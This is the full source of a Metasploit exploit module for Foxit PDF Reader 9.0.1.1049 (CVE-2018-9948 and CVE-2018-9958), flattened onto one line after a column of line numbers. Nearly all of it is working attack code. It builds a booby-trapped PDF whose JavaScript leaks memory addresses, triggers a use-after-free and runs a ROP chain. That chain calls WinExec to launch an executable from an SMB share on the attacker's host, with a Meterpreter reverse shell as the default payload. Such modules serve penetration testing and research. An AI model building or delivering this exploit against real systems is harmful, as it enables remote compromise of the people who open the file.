1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => 'Foxit PDF Reader Pointer Overwrite UAF', 'Description' => %q{ Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me',# Use-after-free and PoC 'bit from meepwn',# Uninitialized pointer 'saelo',# JavaScript Garbage Collector 'Jacob Robles'# Metasploit Module ], 'References' => [ ['CVE', '2018-9948'], ['CVE', '2018-9958'], ['ZDI', '18-332'], ['ZDI', '18-342'], ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'], ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'FILENAME' => 'test.pdf', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Platform' => 'win', 'Targets' => [ ['Windows 10 Pro x64 Build 17134', {}] ], 'DisclosureDate' => 'Apr 20 2018', 'DefaultTarget' => 0)) register_options([ OptString.new('EXENAME', [false, 'EXE file to download', '']), OptString.new('SHARE', [false, 'SMB share hosting exe', '']) ]) end def pdfdoc share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE'] fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME'] fname << '.exe' unless fname.ends_with?('.exe') share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}" num = 4 - (share_path.length % 4) share_path << "\x00"*num return nil if share_path.length > 44 print_status("share_path: #{share_path}") rop = '' max_index = 0 share_path.unpack('V*').each_with_index {|blk, index| rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk] max_index = index } (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)} <<~PDFDOC %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; var pwn_array= []; function prepare_heap(size){ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ var a = this.addAnnot({type: "Text"}); a.destroy(); gc(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); var leaked = stolen[0] & 0xffff0000; foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ var a = this.addAnnot({type: "Text"}); a.destroy(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); alloc_at_leak(); heap_ptr = stolen[1]; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272;// junk rop[0x03] = foxit_base + 0x00001450// pop ebp; ret rop[0x04] = 0xffffffff;// ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret #{rop} rop[0x17] = 0x00000000;// adios, amigo } } function trigger_uaf(){ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { that.getAnnot(0, "uaf").destroy(); reclaim(); return 1; } } }); a.point = arr; } function main(){ leak_heap_chunk(); leak_vtable(); control_memory(); trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>> PDFDOC end def exploit mypdf = pdfdoc if mypdf.nil? fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.') end file_create(mypdf) end end |